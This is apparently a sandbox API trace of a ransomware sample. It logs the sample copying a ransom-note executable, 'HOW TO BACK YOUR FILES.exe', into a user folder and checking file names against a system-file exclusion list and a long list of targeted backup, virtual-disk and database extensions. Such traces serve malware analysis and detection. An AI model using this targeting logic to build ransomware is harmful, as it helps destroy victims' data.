	[0036.299] lstrlenW (lpString="Videos") returned 6
	[0036.299] lstrlenW (lpString="C:\\Users\\Default\\Templates") returned 26
	[0036.299] lstrcpyW (in: lpString1=0x2d3e572, lpString2="Videos" | out: lpString1="Videos") returned="Videos"
	[0036.299] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Videos", dwFileAttributes=0x10) returned 1
	[0036.299] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ce8
	[0036.299] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x30) returned 0x5b7f40
	[0036.299] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7cf0 | out: ListHead=0x5b76b0, ListEntry=0x5b7cf0) returned 0x5b7cd0
	[0036.300] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0
	[0036.300] FindClose (in: hFindFile=0x5ca110 | out: hFindFile=0x5ca110) returned 1
	[0036.300] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7cf0
	[0036.300] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\Videos", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Videos") returned="C:\\Users\\Default\\Videos"
	[0036.300] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7f40 | out: hHeap=0x580000) returned 1
	[0036.300] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ce8 | out: hHeap=0x580000) returned 1
	[0036.300] lstrlenW (lpString="C:\\Users\\Default\\Videos") returned 23
	[0036.300] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Videos" | out: lpString1="C:\\Users\\Default\\Videos") returned="C:\\Users\\Default\\Videos"
	[0036.300] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0036.300] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\videos\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0036.304] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0036.304] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Videos\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2de1ec50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2de1ec50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca110
	[0036.304] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.304] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0036.304] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0036.304] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2de1ec50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2de1ec50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.305] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.305] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0036.305] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0036.305] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0036.305] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0036.305] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.305] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0036.305] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0036.305] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0036.305] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0036.305] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0036.305] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0036.305] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0036.305] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0036.305] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0036.305] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0036.305] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0036.305] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0036.305] lstrlenW (lpString="desktop.ini") returned 11
	[0036.305] lstrlenW (lpString="C:\\Users\\Default\\Videos\\*") returned 25
	[0036.305] lstrcpyW (in: lpString1=0x2d3e580, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0036.305] lstrlenW (lpString="desktop.ini") returned 11
	[0036.305] lstrlenW (lpString="Apollon865") returned 10
	[0036.305] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0036.305] lstrlenW (lpString=".dll") returned 4
	[0036.305] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0036.305] lstrlenW (lpString=".lnk") returned 4
	[0036.305] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0036.305] lstrlenW (lpString=".ini") returned 4
	[0036.305] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0036.305] lstrlenW (lpString=".sys") returned 4
	[0036.305] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0036.305] lstrlenW (lpString="desktop.ini") returned 11
	[0036.305] lstrlenW (lpString="bak") returned 3
	[0036.305] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0036.305] lstrlenW (lpString="ba_") returned 3
	[0036.306] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0036.306] lstrlenW (lpString="dbb") returned 3
	[0036.306] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0036.306] lstrlenW (lpString="vmdk") returned 4
	[0036.306] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0036.306] lstrlenW (lpString="rar") returned 3
	[0036.306] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0036.306] lstrlenW (lpString="zip") returned 3
	[0036.306] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0036.306] lstrlenW (lpString="tgz") returned 3
	[0036.306] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0036.306] lstrlenW (lpString="vbox") returned 4
	[0036.306] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0036.306] lstrlenW (lpString="vdi") returned 3
	[0036.306] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0036.306] lstrlenW (lpString="vhd") returned 3
	[0036.306] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0036.306] lstrlenW (lpString="vhdx") returned 4
	[0036.306] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0036.306] lstrlenW (lpString="avhd") returned 4
	[0036.306] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0036.306] lstrlenW (lpString="db") returned 2
	[0036.306] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0036.306] lstrlenW (lpString="db2") returned 3
	[0036.306] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0036.306] lstrlenW (lpString="db3") returned 3
	[0036.306] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0036.306] lstrlenW (lpString="dbf") returned 3
	[0036.306] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0036.306] lstrlenW (lpString="mdf") returned 3
	[0036.306] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0036.306] lstrlenW (lpString="mdb") returned 3
	[0036.306] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0036.306] lstrlenW (lpString="sql") returned 3
	[0036.306] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0036.306] lstrlenW (lpString="sqlite") returned 6
	[0036.306] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0036.306] lstrlenW (lpString="sqlite3") returned 7
	[0036.307] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0036.307] lstrlenW (lpString="sqlitedb") returned 8
	[0036.307] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0036.307] lstrlenW (lpString="xml") returned 3
	[0036.307] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0036.307] lstrlenW (lpString="$er") returned 3
	[0036.307] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0036.307] lstrlenW (lpString="4dd") returned 3
	[0036.307] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0036.307] lstrlenW (lpString="4dl") returned 3
	[0036.307] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0036.307] lstrlenW (lpString="^^^") returned 3
	[0036.307] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0036.307] lstrlenW (lpString="abs") returned 3
	[0036.307] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0036.307] lstrlenW (lpString="abx") returned 3
	[0036.307] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0036.307] lstrlenW (lpString="accdb") returned 5
	[0036.307] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0036.307] lstrlenW (lpString="accdc") returned 5
	[0036.307] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0036.307] lstrlenW (lpString="accde") returned 5
	[0036.307] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0036.307] lstrlenW (lpString="accdr") returned 5
	[0036.307] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0036.307] lstrlenW (lpString="accdt") returned 5
	[0036.307] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0036.307] lstrlenW (lpString="accdw") returned 5
	[0036.307] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0036.307] lstrlenW (lpString="accft") returned 5
	[0036.307] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0036.307] lstrlenW (lpString="adb") returned 3
	[0036.307] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0036.307] lstrlenW (lpString="adb") returned 3
	[0036.307] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0036.307] lstrlenW (lpString="ade") returned 3
	[0036.307] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0036.307] lstrlenW (lpString="adf") returned 3
	[0036.308] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0036.308] lstrlenW (lpString="adn") returned 3
	[0036.308] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0036.308] lstrlenW (lpString="adp") returned 3
	[0036.308] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0036.308] lstrlenW (lpString="alf") returned 3
	[0036.308] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0036.308] lstrlenW (lpString="ask") returned 3
	[0036.308] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0036.308] lstrlenW (lpString="btr") returned 3
	[0036.308] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0036.308] lstrlenW (lpString="cat") returned 3
	[0036.308] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0036.308] lstrlenW (lpString="cdb") returned 3
	[0036.308] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0036.308] lstrlenW (lpString="ckp") returned 3
	[0036.308] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0036.308] lstrlenW (lpString="cma") returned 3
	[0036.308] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0036.308] lstrlenW (lpString="cpd") returned 3
	[0036.308] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0036.308] lstrlenW (lpString="dacpac") returned 6
	[0036.308] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0036.308] lstrlenW (lpString="dad") returned 3
	[0036.308] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0036.308] lstrlenW (lpString="dadiagrams") returned 10
	[0036.308] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0036.308] lstrlenW (lpString="daschema") returned 8
	[0036.308] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0036.308] lstrlenW (lpString="db-journal") returned 10
	[0036.308] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0036.308] lstrlenW (lpString="db-shm") returned 6
	[0036.308] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0036.308] lstrlenW (lpString="db-wal") returned 6
	[0036.308] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0036.308] lstrlenW (lpString="dbc") returned 3
	[0036.308] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0036.308] lstrlenW (lpString="dbs") returned 3
	[0036.308] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0036.308] lstrlenW (lpString="dbt") returned 3
	[0036.309] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0036.309] lstrlenW (lpString="dbv") returned 3
	[0036.309] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0036.309] lstrlenW (lpString="dbx") returned 3
	[0036.309] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0036.309] lstrlenW (lpString="dcb") returned 3
	[0036.309] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0036.309] lstrlenW (lpString="dct") returned 3
	[0036.309] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0036.309] lstrlenW (lpString="dcx") returned 3
	[0036.309] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0036.309] lstrlenW (lpString="ddl") returned 3
	[0036.309] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0036.309] lstrlenW (lpString="dlis") returned 4
	[0036.309] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0036.309] lstrlenW (lpString="dp1") returned 3
	[0036.309] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0036.309] lstrlenW (lpString="dqy") returned 3
	[0036.309] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0036.309] lstrlenW (lpString="dsk") returned 3
	[0036.309] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0036.309] lstrlenW (lpString="dsn") returned 3
	[0036.309] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0036.309] lstrlenW (lpString="dtsx") returned 4
	[0036.309] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0036.309] lstrlenW (lpString="dxl") returned 3
	[0036.309] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0036.309] lstrlenW (lpString="eco") returned 3
	[0036.309] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0036.309] lstrlenW (lpString="ecx") returned 3
	[0036.309] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0036.309] lstrlenW (lpString="edb") returned 3
	[0036.309] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0036.309] lstrlenW (lpString="epim") returned 4
	[0036.309] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0036.309] lstrlenW (lpString="fcd") returned 3
	[0036.309] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0036.309] lstrlenW (lpString="fdb") returned 3
	[0036.310] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0036.310] lstrlenW (lpString="fic") returned 3
	[0036.310] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0036.310] lstrlenW (lpString="flexolibrary") returned 12
	[0036.310] lstrlenW (lpString="fm5") returned 3
	[0036.310] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0036.310] lstrlenW (lpString="fmp") returned 3
	[0036.310] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0036.310] lstrlenW (lpString="fmp12") returned 5
	[0036.310] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0036.310] lstrlenW (lpString="fmpsl") returned 5
	[0036.310] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0036.310] lstrlenW (lpString="fol") returned 3
	[0036.310] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0036.310] lstrlenW (lpString="fp3") returned 3
	[0036.310] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0036.310] lstrlenW (lpString="fp4") returned 3
	[0036.310] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0036.310] lstrlenW (lpString="fp5") returned 3
	[0036.310] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0036.310] lstrlenW (lpString="fp7") returned 3
	[0036.310] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0036.310] lstrlenW (lpString="fpt") returned 3
	[0036.310] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0036.310] lstrlenW (lpString="frm") returned 3
	[0036.310] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0036.310] lstrlenW (lpString="gdb") returned 3
	[0036.310] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0036.310] lstrlenW (lpString="gdb") returned 3
	[0036.310] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0036.310] lstrlenW (lpString="grdb") returned 4
	[0036.310] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0036.310] lstrlenW (lpString="gwi") returned 3
	[0036.310] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0036.310] lstrlenW (lpString="hdb") returned 3
	[0036.310] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0036.310] lstrlenW (lpString="his") returned 3
	[0036.311] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0036.311] lstrlenW (lpString="ib") returned 2
	[0036.311] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0036.311] lstrlenW (lpString="idb") returned 3
	[0036.311] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0036.311] lstrlenW (lpString="ihx") returned 3
	[0036.311] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0036.311] lstrlenW (lpString="itdb") returned 4
	[0036.311] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0036.311] lstrlenW (lpString="itw") returned 3
	[0036.311] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0036.311] lstrlenW (lpString="jet") returned 3
	[0036.311] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0036.311] lstrlenW (lpString="jtx") returned 3
	[0036.311] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0036.311] lstrlenW (lpString="kdb") returned 3
	[0036.311] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0036.311] lstrlenW (lpString="kexi") returned 4
	[0036.311] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0036.311] lstrlenW (lpString="kexic") returned 5
	[0036.311] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0036.311] lstrlenW (lpString="kexis") returned 5
	[0036.311] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0036.311] lstrlenW (lpString="lgc") returned 3
	[0036.311] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0036.311] lstrlenW (lpString="lwx") returned 3
	[0036.311] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0036.311] lstrlenW (lpString="maf") returned 3
	[0036.311] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0036.311] lstrlenW (lpString="maq") returned 3
	[0036.311] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0036.311] lstrlenW (lpString="mar") returned 3
	[0036.311] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0036.311] lstrlenW (lpString="marshal") returned 7
	[0036.311] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0036.311] lstrlenW (lpString="mas") returned 3
	[0036.311] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0036.311] lstrlenW (lpString="mav") returned 3
	[0036.312] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0036.312] lstrlenW (lpString="maw") returned 3
	[0036.312] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0036.312] lstrlenW (lpString="mdbhtml") returned 7
	[0036.312] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0036.312] lstrlenW (lpString="mdn") returned 3
	[0036.312] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0036.312] lstrlenW (lpString="mdt") returned 3
	[0036.312] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0036.312] lstrlenW (lpString="mfd") returned 3
	[0036.312] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0036.312] lstrlenW (lpString="mpd") returned 3
	[0036.312] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0036.312] lstrlenW (lpString="mrg") returned 3
	[0036.312] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0036.312] lstrlenW (lpString="mud") returned 3
	[0036.312] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0036.312] lstrlenW (lpString="mwb") returned 3
	[0036.312] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0036.312] lstrlenW (lpString="myd") returned 3
	[0036.312] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0036.312] lstrlenW (lpString="ndf") returned 3
	[0036.312] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0036.312] lstrlenW (lpString="nnt") returned 3
	[0036.312] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0036.312] lstrlenW (lpString="nrmlib") returned 6
	[0036.312] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0036.312] lstrlenW (lpString="ns2") returned 3
	[0036.312] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0036.312] lstrlenW (lpString="ns3") returned 3
	[0036.312] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0036.312] lstrlenW (lpString="ns4") returned 3
	[0036.312] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0036.312] lstrlenW (lpString="nsf") returned 3
	[0036.312] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0036.312] lstrlenW (lpString="nv") returned 2
	[0036.312] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0036.312] lstrlenW (lpString="nv2") returned 3
	[0036.313] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0036.313] lstrlenW (lpString="nwdb") returned 4
	[0036.313] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0036.313] lstrlenW (lpString="nyf") returned 3
	[0036.313] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0036.313] lstrlenW (lpString="odb") returned 3
	[0036.313] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0036.313] lstrlenW (lpString="odb") returned 3
	[0036.313] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0036.313] lstrlenW (lpString="oqy") returned 3
	[0036.313] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0036.313] lstrlenW (lpString="ora") returned 3
	[0036.313] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0036.313] lstrlenW (lpString="orx") returned 3
	[0036.313] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0036.313] lstrlenW (lpString="owc") returned 3
	[0036.313] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0036.313] lstrlenW (lpString="p96") returned 3
	[0036.313] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0036.313] lstrlenW (lpString="p97") returned 3
	[0036.313] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0036.313] lstrlenW (lpString="pan") returned 3
	[0036.313] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0036.313] lstrlenW (lpString="pdb") returned 3
	[0036.313] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0036.313] lstrlenW (lpString="pdm") returned 3
	[0036.313] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0036.313] lstrlenW (lpString="pnz") returned 3
	[0036.313] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0036.313] lstrlenW (lpString="qry") returned 3
	[0036.313] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0036.313] lstrlenW (lpString="qvd") returned 3
	[0036.313] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0036.313] lstrlenW (lpString="rbf") returned 3
	[0036.313] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0036.313] lstrlenW (lpString="rctd") returned 4
	[0036.314] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0036.314] lstrlenW (lpString="rod") returned 3
	[0036.314] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0036.314] lstrlenW (lpString="rodx") returned 4
	[0036.314] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0036.314] lstrlenW (lpString="rpd") returned 3
	[0036.314] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0036.314] lstrlenW (lpString="rsd") returned 3
	[0036.314] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0036.314] lstrlenW (lpString="sas7bdat") returned 8
	[0036.314] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0036.314] lstrlenW (lpString="sbf") returned 3
	[0036.314] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0036.314] lstrlenW (lpString="scx") returned 3
	[0036.314] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0036.314] lstrlenW (lpString="sdb") returned 3
	[0036.314] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0036.314] lstrlenW (lpString="sdc") returned 3
	[0036.314] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0036.314] lstrlenW (lpString="sdf") returned 3
	[0036.314] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0036.314] lstrlenW (lpString="sis") returned 3
	[0036.314] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0036.314] lstrlenW (lpString="spq") returned 3
	[0036.314] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0036.314] lstrlenW (lpString="te") returned 2
	[0036.314] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0036.314] lstrlenW (lpString="teacher") returned 7
	[0036.314] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0036.314] lstrlenW (lpString="tmd") returned 3
	[0036.314] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0036.314] lstrlenW (lpString="tps") returned 3
	[0036.314] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0036.314] lstrlenW (lpString="trc") returned 3
	[0036.314] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0036.314] lstrlenW (lpString="trc") returned 3
